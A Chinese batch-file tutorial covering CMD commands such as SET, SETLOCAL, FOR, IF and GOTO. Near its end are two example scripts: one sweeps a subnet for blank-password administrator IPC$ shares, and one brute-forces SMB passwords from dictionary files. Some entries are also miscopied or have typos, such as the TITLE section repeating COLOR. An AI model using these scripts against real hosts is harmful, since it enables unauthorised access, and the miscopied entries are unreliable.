`
wsql
  • 浏览: 11777065 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
文章分类
社区版块
存档分类
最新评论

批处理命令集

 
阅读更多

批处理命令集

常用的几个命令

echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。

ECHO 表示显示此命令后的字符。

echo off 表示在此语句后所有运行的命令都不显示命令行本身。

@ echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。

CALL 表示调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令

PAUSE 运行此句会暂停,显示Press any key to continue... 等待用户按任意键后继续。

REM 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的。

| 管道命令

< 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令

@ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:\winnt >> d:\log.txt 意思是:后台执行dir,并把结果存在d:\log.txt中

>与>>的区别  ">"指:覆盖;">>"指:保存到(添加到)。

如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

非常用命令

ASSOC

作用:显示或修改文件扩展名关联

ASSOC [.ext[=[fileType]]]

.ext 指定跟文件类型关联的文件扩展名

fileType 指定跟文件扩展名关联的文件类型

键入 ASSOC 而不带参数,显示当前文件关联。如果只用文件扩展名调用 ASSOC,则显示那个文件扩展名的当前文件关联。如果不为文件类型指定任何参数,命令会删除文件扩展名的关联。

CALL

作用:从批处理程序调用另一个批处理程序。

CALL [drive:][path]filename [batch-parameters]

batch-parameters 指定批处理程序所需的命令行信息。

如果命令扩展名被启用,CALL 会如下改变:

CALL 命令现在将卷标当作 CALL 的目标接受。语法是:

CALL:label arguments

一个新的批文件上下文由指定的参数所创建,控制在卷标被指定后传递到语句。您必须通过达到批脚本文件末两次来 "exit" 两次。

第一次读到文件末时,控制会回到 CALL 语句的紧后面。第二次会退出批脚本。键入 GOTO /?,参看 GOTO : EOF 扩展名的描述,此描述允许您从一个批脚本返回。

另外,批脚本文本参数参照(%0、%1、等等)已如下改变:

批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)

批参数(%n)的替代已被增强。您可以使用以下语法:


%~1 - 删除引号("),扩充 %1。

%~f1 - 将 %1 扩充到一个完全合格的路径名。

%~d1 - 仅将 %1 扩充到一个驱动器号。

%~p1 - 仅将 %1 扩充到一个路径。

%~n1 - 仅将 %1 扩充到一个文件名。

%~x1 - 仅将 %1 扩充到一个文件扩展名。

%~s1 - 扩充的路径指含有短名。

%~a1 - 将 %1 扩充到文件属性。

%~t1 - 将 %1 扩充到文件的日期/时间。

%~z1 - 将 %1 扩充到文件的大小。

%~$PATH : 1 - 查找列在 PATH 环境变量的目录,并将 %1扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串可以组合修定符来取得多重结果。

%~dp1 - 只将 %1 扩展到驱动器号和路径。

%~nx1 - 只将 %1 扩展到文件名和扩展名。

%~dp$PATH:1 - 在列在 PATH 环境变量中的目录里查找 %1,并扩展到找到的第一个文件的驱动器号和路径。

%~ftza1 - 将 %1 扩展到类似 DIR 的输出行。

在上面的例子中,%1 和 PATH 可以被其他有效数值替换。

%~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*使用。


COLOR

作用:设置默认的控制台前景和背景颜色。

COLOR [attr]

attr 指定控制台输出的颜色属性

颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为前景。每个数字可以为以下任何值之一:


0 = 黑色

8 = 灰色

1 = 蓝色

9 = 淡蓝色

2 = 绿色

A = 淡绿色

3 = 湖蓝色

B = 淡浅绿色

4 = 红色

C = 淡红色

5 = 紫色

D = 淡紫色

6 = 黄色

E = 淡黄色

7 = 白色

F = 亮白色


如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜色。这个值来自当前控制台窗口、/T 开关或 DefaultColor 注册表值。

如果用相同的前景和背景颜色来执行 COLOR 命令,COLOR 命令会将 ERRORLEVEL 设置为 1。

例如: "COLOR fc" 在亮白色上产生亮红色

DEL

作用:删除一个或数个文件。

DEL [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names

ERASE [/P] [/F] [/S] [/Q] [/A[[:]attributes]] names


names 指定一个或数个文件或目录列表。通配符可被用来删除多个文件。如果指定了一个目录,目录中的所有文件都会被删除。

/P 删除每一个文件之前提示确认。

/F 强制删除只读文件。

/S 从所有子目录删除指定文件。

/Q 安静模式。删除全局通配符时,不要求确认。

/A 根据属性选择要删除的文件。

Attributes

R 只读文件

S 系统文件

H 隐藏文件

A 存档文件

- 表示“否”的前缀

如果命令扩展名被启用,DEL 和 ERASE 会如下改变:

/S 开关的显示句法会颠倒,即只显示已经

删除的文件,而不显示找不到的文件。


SETLOCAL

  开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后所做的环境改动只限于批处理文件。要还原原先的设置,必须执行 ENDLOCAL。达到批处理文件结尾时,对于该批处理文件的每个尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被执行。

  SETLOCAL

  如果命令扩展名被启用,SETLOCAL 会如下改变:

  SETLOCAL 批命令现在可以接受可选参数:

ENABLEEXTENSIONS / DISABLEEXTENSIONS

    启动或停用命令处理器扩展名。详细信息,请参阅 CMD /?。

    ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION

    启动或停用延缓环境变量扩展名。详细信息,请参阅 对SET的介绍 。

  无论在 SETLOCAL 命令之前它们的设置是什么,这些修改会一直保留到匹配的 ENDLOCAL 命令。

  如果有一个参数,SETLOCAL 命令将设置 ERRORLEVEL 的值。

  如果有两个有效参数中的一个,该值则为零。用下列技巧,您可以在批脚本中使用这个来决定扩展名是否可用:

  VERIFY OTHER 2>nul

  SETLOCAL ENABLEEXTENSIONS

  IF ERRORLEVEL 1 echo Unable to enable extensions

  这个方法之所以有效,是因为在 CMD.EXE 的旧版本上,SETLOCAL不设置 ERRORLEVEL 值。具有不正确参数的 VERIFY 命令将ERRORLEVEL 值初始化成非零值。

ENDLOCAL

结束批处理文件中环境改动的本地化操作。在执行ENDLOCAL 之后所做的环境改动不再仅限于批处理文件。批处理文件结束后,原先的设置无法还原。

  ENDLOCAL

  如果命令扩展名被启用,ENDLOCAL 会如下改变:

  如果相应的 SETLOCAL 用新的 ENABLEEXTENSIONS 或DISABLEEXTENSIONS 选项启用或停用了命令扩展名,那么,在ENDLOCAL 之后,命令扩展名的启用/停用状态会还原到执行相应的 SETLOCAL 命令前的状态。

FTYPE

作用:显示或修改用在文件扩展名关联中的文件类型

FTYPE [fileType[=[openCommandString]]]

fileType 指定要检查或改变的文件类型

openCommandString 指定调用这类文件时要使用的开放式命令。

键入 FTYPE 而不带参数来显示当前有定义的开放式命令字符串的文件类型。 FTYPE 仅用一个文件类型启用时,它显示那个文件类型目前的开放式命令字符串。如果不为开放式命令字符串指定,FTYPE 命令将删除那个文件类型的开放式命令字符串。在一个开放式命令字符串之内,命令字符串 %0 或 %1 被通过关联调用的文件名所代替。%* 得到所有的参数,%2 得到第一个参数,%3 得到第二个,等等。%~n 得到其余所有以 nth 参数打头的参数;n 可以是从 2 到 9 的数字。

例如:

ASSOC .pl=PerlScript

FTYPE PerlScript=perl.exe %1 %*

允许您启用以下 Perl 脚本:

script.pl 1 2 3

如果不想键入扩展名,则键入以下字符串:

set PATHEXT=.pl;%PATHEXT%

被启动的脚本如下:

script 1 2 3

POPD

作用:命令选项到保存在 PUSHD 命令里的目录。

POPD 如果命令扩展名被启用,从推目录堆栈 POPD 驱动器时,POPD命令会删除 PUSHD 创建的临时驱动器号。

PROMPT

作用:更改 cmd.exe 命令提示符。

PROMPT [text]

text 指定新的命令提示符。

提示符可以由普通字符及下列特定代码组成:


$A & (短 and 符号)

$B | (管道)

$C ( (左括弧)

$D 当前日期

$E cape code (ASCII 码27)

$F ) (右括弧)

$G > (大于符号)

$H Backspace (擦除前一个字符)

$L < (小于符号)

$N 当前驱动器

$P 当前驱动器及路径

$Q = (等号)

$S (空格)

$T 当前时间

$V Windows XP 版本号

$_ 换行

$$ $ (货币符号)


如果命令扩展名被启用,PROMPT 命令会支持下列格式化字符:

$+ 根据 PUSHD 目录堆栈的深度,零个或零个以上加号(+)字符;每个被推的层有一个字符。

$M 如果当前驱动器不是网络驱动器,显示跟当前驱动器号或空字符串有关联的远程名。

PUSHD

作用:保存当前目录以供 POPD 命令使用,然后改到指定的目录。

PUSHD [path | ..]

path 指定要成为当前目录的目录。

如果命令扩展名被启用,除了一般驱动器号和路径,PUSHD 命令还接受网络路径。如果指定了网络路径,PUSHD 将创建一个指向指定网络资源的临时驱动器号,然后再用刚定义的驱动器号改变当前的驱动器和目录。可以从 Z: 往下分配临时驱动器号,使用找到的第一个没有用过的驱动器号。

SET

作用:显示、设置或删除 cmd.exe 环境变量。

SET [variable=[string]]

variable 指定环境变量名。

string 指定要指派给变量的一系列字符串。

要显示当前环境变量,键入不带参数的 SET。

如果命令扩展名被启用,SET 会如下改变:

可仅用一个变量激活 SET 命令,等号或值不显示所有前缀匹配SET 命令已使用的名称的所有变量的值。

例如:

SET P 会显示所有以字母 P 打头的变量

如果在当前环境中找不到该变量名称,SET 命令将把 ERRORLEVEL设置成 1。

SET 命令不允许变量名含有等号。

在 SET 命令中添加了两个新命令行开关:

SET /A expression

SET /P variable=[promptString]

/A 命令行开关指定等号右边的字符串为被评估的数字表达式。该表达式评估器很简单并以递减的优先权顺序支持下列操作:


() - 分组

! ~ - - 一元运算符

* / % - 算数运算符

+ - - 算数运算符

<< >> - 逻辑移位

- 按位“与”

^ - 按位“异”

| - 按位“或”

= *= /= %= += -= - 赋值

&= ^= |= <<= >>=

, - 表达式分隔符


如果您使用任何逻辑或取余操作符, 您需要将表达式字符串用引号扩起来。在表达式中的任何非数字字符串键作为环境变量名称,这些环境变量名称的值已在使用前转换成数字。如果指定了一个环境变量名称,但未在当前环境中定义,那么值将被定为零。这使您可以使用环境变量值做计算而不用键入那些 % 符号来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的,那么它显示该表达式的最后值。该分配的操作符在分配的操作符左边需要一个环境变量名称。除十六进制有 0x 前缀, 八进制有 0 前缀的,数字值为十进位数字。因此, 0x12 与 18 和 022 相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字,因为 8 和 9 不是有效的八进制位数。

/P 命令行开关允许将变量数值设成用户输入的一行输入。读取输入行之前,显示指定的 promptString。promptString 可以是空的。

环境变量替换已如下增强:

%PATH:str1=str2%

会扩展 PATH 环境变量,用 "str2" 代替扩展结果中的每个 "str1"。要有效地从扩展结果中删除所有的 "str1","str2" 可以是空的。"str1" 可以以星号打头;在这种情况下,"str1" 会从扩展结果的开始到 str1 剩余部分第一次出现的地方,都一直保持相配。

也可以为扩展名指定子字符串。

%PATH:~10,5%

会扩展 PATH 环境变量,然后只使用在扩展结果中从第 11 个(偏移量 10)字符开始的五个字符。如果没有指定长度,则采用默认值,即变量数值的余数。

如果两个数字(偏移量和长度)都是负数,使用的数字则是环境变量数值长度加上指定的偏移量或长度。

%PATH:~-10%

会提取 PATH 变量的最后十个字符。

%PATH:~0,-2%

会提取 PATH 变量的所有字符,除了最后两个。

终于添加了延迟环境变量扩充的支持。该支持总是按默认值被停用,但也可以通过 CMD.EXE 的 /V 命令行开关而被启用/停用。请参阅 CMD /?

考虑到读取一行文本时所遇到的目前扩充的限制时,延迟环境变量扩充是很有用的,而不是执行的时候。以下例子说明直接变量扩充的问题:

set VAR=before

if "%VAR%" == "before" (

set VAR=after

if "%VAR%" == "after" @echo If you see this, it worked )

不会显示消息,因为在读到第一个 IF 语句时,BOTH IF 语句中的 %VAR% 会被代替;原因是: 它包含 IF 的文体,IF 是一个复合语句。所以,复合语句中的 IF 实际上是在比较 "before" 和"after",这两者永远不会相等。

同样,以下这个例子也不会达到预期效果:

set LIST=

for %i in (*) do set LIST=%LIST% %i

echo %LIST%

原因是,它不会在目前的目录中建立一个文件列表,而只是将LIST 变量设成找到的最后一个文件。这也是因为 %LIST% 在FOR 语句被读取时,只被扩充了一次;而且,那时的 LIST 变量是空的。因此,我们真正执行的 FOR 循环是:

for %i in (*) do set LIST= %i

这个循环继续将 LIST 设成找到的最后一个文件。

延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行时间扩充环境变量。如果延迟的变量扩充被启用,可以将上面例子写成以下所示,以达到预期效果:

set VAR=before

if "%VAR%" == "before" (

set VAR=after

if "!VAR!" == "after" @echo If you see this, it worked )

set LIST=

for %i in (*) do set LIST=!LIST! %i

echo %LIST%

如果命令扩展名被启用,有几个动态环境变量可以被扩展,但不会出现在 SET 显示的变量列表中。每次变量数值被扩展时,这些变量数值都会被动态计算。如果用户用这些名称中任何一个定义变量,那个定义会替代下面描述的动态定义:

%CD% - 扩展到当前目录字符串。

%DATE% - 用跟 DATE 命令同样的格式扩展到当前日期。

%TIME% - 用跟 TIME 命令同样的格式扩展到当前时间。

%RANDOM% - 扩展到 0 和 32767 之间的任意十进制数字。

%ERRORLEVEL% - 扩展到当前 ERRORLEVEL 数值。

%CMDEXTVERSION% - 扩展到当前命令处理器扩展名版本号。

%CMDCMDLINE% - 扩展到调用命令处理器的原始命令行。

SETLOCAL

作用:开始批处理文件中环境改动的本地化操作。

在执行 SETLOCAL 之后所做的环境改动只限于批处理文件。要还原原先的设置,必须执行 ENDLOCAL。达到批处理文件结尾时,对于该批处理文件的每个尚未执行的 SETLOCAL 命令,都会有一个隐含的 ENDLOCAL 被执行。

SETLOCAL

如果命令扩展名被启用,SETLOCAL 会如下改变:

SETLOCAL 批命令现在可以接受可选参数:

ENABLEEXTENSIONS / DISABLEEXTENSIONS

启动或停用命令处理器扩展名。详细信息,请参阅 CMD /?。

ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION

启动或停用延缓环境变量扩展名。详细信息,请参阅 SET /? 。

无论在 SETLOCAL 命令之前它们的设置是什么,这些修改会一直保留到匹配的 ENDLOCAL 命令。

如果有一个参数,SETLOCAL 命令将设置 ERRORLEVEL 的值。

如果有两个有效参数中的一个,该值则为零。用下列技巧,您可以在批脚本中使用这个来决定扩展名是否可用:

VERIFY OTHER 2>nul

SETLOCAL ENABLEEXTENSIONS

IF ERRORLEVEL 1 echo Unable to enable extensions

这个方法之所以有效,是因为在 CMD.EXE 的旧版本上,SETLOCAL不设置 ERRORLEVEL 值。具有不正确参数的 VERIFY 命令将ERRORLEVEL 值初始化成非零值。

START

作用:启动另一个窗口运行指定的程序或命令。

START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]

[/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]

[/WAIT] [/B] [command/program] [parameters]

"title" 在窗口标题栏中显示的标题。

path 起始目录

B 在不创建新窗口的情况下开始应用程序。 除非启动 ^C 处理,否则该应用程序会忽略 ^C 处理; ^Break 是唯一可以中断该应用程序的方式

I 新环境是传递给 cmd.exe 的原始环境,而不是当前环境

MIN 开始时窗口最小化

MAX 开始时窗口最大化

SEPARATE 在分开的空间内开始 16 位 Windows 程序

SHARED 在分共享的空间内开始 16 位 Windows 程序

LOW 在 IDLE 优先级类别开始应用程序

NORMAL 在 NORMAL 优先级类别开始应用程序

HIGH 在 HIGH 优先级类别开始应用程序

REALTIME 在 REALTIME 优先级类别开始应用程序

ABOVENORMAL 在 ABOVENORMAL 优先级类别开始应用程序

BELOWNORMAL 在 BELOWNORMAL 优先级类别开始应用程序

WAIT 启动应用程序并等候它结束

command/program 如果是内部 cmd 命令或批文件,那么该命令处理器是用 /K 命令行开关运行 cmd.exe 的。这表示该窗口在命令运行后仍然存在。如果不是内部 cmd 命令或批文件,则是一个程序,并作为窗口应用程序或控制台应用程序运行。

parameters 这些为传送到命令/程序的参数

如果命令扩展名被启用,通过命令行或 START 命令的外部命令调用会如下改变:

将文件名作为命令键入,非可执行文件可以通过文件关联调用。(例如,WORD.DOC 会调用跟 .DOC 文件扩展名关联的应用程序)。关于如何从命令脚本内部创建这些关联,请参阅 ASSOC 和FTYPE 命令。

执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。

如果执行的命令行的第一个符号是不带扩展名或路径修饰符的字符串 "CMD","CMD" 会被COMSPEC 变量的数值所替换。这防止从当前目录抓出 CMD.EXE。

如果执行的命令行的第一个符号没有扩展名,CMD.EXE 会使用PATHEXT 环境变量的数值来决定要以什么顺序寻找哪些扩展名。PATHEXT 变量的默认值是:

.COM;.EXE;.BAT;.CMD

请注意,该语法跟 PATH 变量的一样,分号隔开不同的元素。

查找可执行文件时,如果没有相配的扩展名,看一看该名称是否与目录名相配。如果确实如此,START 会在那个路径上调用 Explorer。如果从命令行执行,则等同于对那个路径作 CD /D。

SHIFT

作用:更改批处理文件中可替换参数的位置。

SHIFT [/n]

如果命令扩展名被启用,SHIFT 命令支持/n 命令行开关;该命令行开关告诉命令从第 n 个参数开始移位;n 介于零和八之间。例如:

SHIFT /2

会将 %3 移位到 %2,将 %4 移位到 %3,等等;并且不影响 %0 和 %1。

TITLE

作用:设置默认的控制台前景和背景颜色。

COLOR [attr]

attr 指定控制台输出的颜色属性

颜色属性由两个十六进制数字指定 -- 第一个为背景,第二个则为前景。每个数字可以为以下任何值之一:


0 = 黑色

1 = 蓝色

2 = 绿色

3 = 湖蓝色

4 = 红色

5 = 紫色

6 = 黄色

7 = 白色

8 = 灰色

9 = 淡蓝色

A = 淡绿色

B = 淡浅绿色

C = 淡红色

D = 淡紫色

E = 淡黄色

F = 亮白色


如果没有给定任何参数,该命令会将颜色还原到 CMD.EXE 启动时的颜色。这个值来自当前控制台窗口、/T 开关或 DefaultColor 注册表值。

如果用相同的前景和背景颜色来执行 COLOR 命令,COLOR 命令会将 ERRORLEVEL 设置为 1。

例如: "COLOR fc" 在亮白色上产生亮红色

批处理参数

参数:批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。

% 表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

例:C:\根目录下一批处理文件名为f.bat,内容为 format %1

则如果执行C:\>f a:    则实际执行的是format a:

例:C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2

  那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容 。

内置参数说明:

%HOMEDRIVE% 代表当前系统驱动器

%HOMEPATH% 代表当前系统的系统目录

%SYSTEMROOT% 参数代表当前系统的系统目录。

%SYSTEMDRIVE% 表示当前系统驱动器

%USERPROFILE% 系统用户文件目录

%RAMD% 参数代表缓存

%WINDIR% 参数代表系统的WINDOWS目录

$RECYCLE.BIN 回收站(前面必须加盘符例:rd /s /q "y:\$recycle.bin\vod_cache_data" 2>NUL)

例:path=%RAMD%:\;c:\bin\;作用是将C:\ 盘根目录和C:\WIN\目录加入缓存。以后可以在任何目录下面执行里面的文件。

例:%windir%\repair\sam.* 表示当前NT系统下的REPAIR目录下的所有SAM文件

条件判断、跳转、用户输入选择、循环

条件判断 IF 跳转GOTO 用户输入选择CHOICE 循环 FOR

IF

IF命令及变量 基本格式:

IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。

例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。

0 指发现并成功执行(真);1 指没有发现、没执行(假)。

IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。

例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")

IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。

例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。

IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

IF 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:

1、if "参数" == "字符串"  待执行的命令

参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如:if "%1"=="a" format a:

2、if exist 文件名  待执行的命令

如果有指定的文件,则条件成立,运行命令,否则运行下一句。

如:if exist config.sys edit config.sys

3、if errorlevel 数字  待执行的命令

如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

如:if errorlevel 2 goto x2

DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码。

GOTO

作用:将 cmd.exe 导向到批处理程序中带标签的行。

GOTO label

label 指定批处理程序中用作标签的文字字符串。标签必须单独一行,并且以冒号打头。

如果命令扩展名被启用,GOTO 会如下改变:

GOTO 命令现在接受目标标签 :EOF,这个标签将控制转移到当前批脚本文件的结尾。不定义就退出批脚本文件,这是一个容易的办法。有关能使该功能有用的 CALL 命令的扩展名描述,请键入CALL /?。

goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:

goto end

:end

echo this is the end

标号用 :字符串 表示,标号所在行不被执行

CHOICE

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……


如: choice /cme defrag,mem,end

将显示 defrag,mem,end[D,M,E]?

例如,test.bat的内容如下:

@echo off

choice /cme defrag,mem,end

if errorlevel 3 goto defrag ;应先判断数值最高的错误码

if errorlevel 2 goto mem

if errotlevel 1 goto end

defrag

c:\dos\defrag

goto end

:mem

mem

goto end

:end

echo good bye


此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d , m , e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段。每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

FOR

FOR命令及变量

for循环命令,只要条件符合,它将多次执行同一命令。

格式FOR [%%f] in (集合) DO [命令]

基本格式:

FOR %variable IN (set) DO command [command-parameters]

  %variable 指定一个单一字母可替换的参数。

  (set)   指定一个或一组文件。可以使用通配符。

  command  指定对每个文件执行的命令。

  command-parameters 为特定命令指定参数或命令行开关。

  在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I.如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

  FOR /D %variable IN (set) DO command [command-parameters]

  如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

  FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

  检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

  FOR /L %variable IN (start,step,end) DO command [command-parameters]

  该集表示以增量形式从开始到结束的一个数字序列。

  因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生序列 (5 4 3 2 1)。

  FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]

  FOR /F ["options"] %variable IN ("string") DO command [command-parameters]

  FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

  或者,如果有 usebackq 选项:

  FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]

  FOR /F ["options"] %variable IN ("string") DO command [command-parameters]

  FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

  filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。

  处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

    eol=c      - 指一个行注释字符的结尾(就一个)

    skip=n      - 指在文件开始时忽略的行数。

    delims=xxx    - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

    tokens=x,y,m-n  - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。

    usebackq     - 指定新语法已在下类情况中使用:

   在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。

  某些范例可能有助:

  FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k

  会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

  %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;而且,同时不能有 52 个以上都在使用中。

  您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。

  最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

  FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

  会枚举当前环境中的环境变量名称。

  另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:


~I  - 删除任何引号("),扩充 %I

%~fI - 将 %I 扩充到一个完全合格的路径名

%~dI - 仅将 %I 扩充到一个驱动器号

%~pI - 仅将 %I 扩充到一个路径

%~nI - 仅将 %I 扩充到一个文件名

%~xI - 仅将 %I 扩充到一个文件扩展名

%~sI - 扩充的路径只含有短名

%~aI - 将 %I 扩充到文件的文件属性

%~tI - 将 %I 扩充到文件的日期/时间

%~zI - 将 %I 扩充到文件的大小

%~$PATH - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义,或者没有找到文件,此组合键会扩充到空字符串可以组合修饰符来得到多重结果:

%~dpI - 仅将 %I 扩充到一个驱动器号和路径

%~nxI - 仅将 %I 扩充到一个文件名和扩展名

%~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

%~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。

%~ftzaI - 将 %I 扩充到类似输出线路的 DIR


  在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。

批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值。

例:net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3

(set):指定一个或一组文件,可用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }

command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开

command_parameters:为特定命令指定参数或命令行开关只要参数在for指定的集合内,则条件成立,执行命令。

如:批处理文件中有一行:

for %%c in (*.bat *.txt) do type %%c

含义是如果是以bat或txt结尾的文件,则显示文件的内容。

IN (set):指在(set)中取值;DO command :指执行command

参数:

/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:\pass.txt)时 }。

用法举例:

@echo off

echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt

存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。

/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200

存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。

批处理应用范例

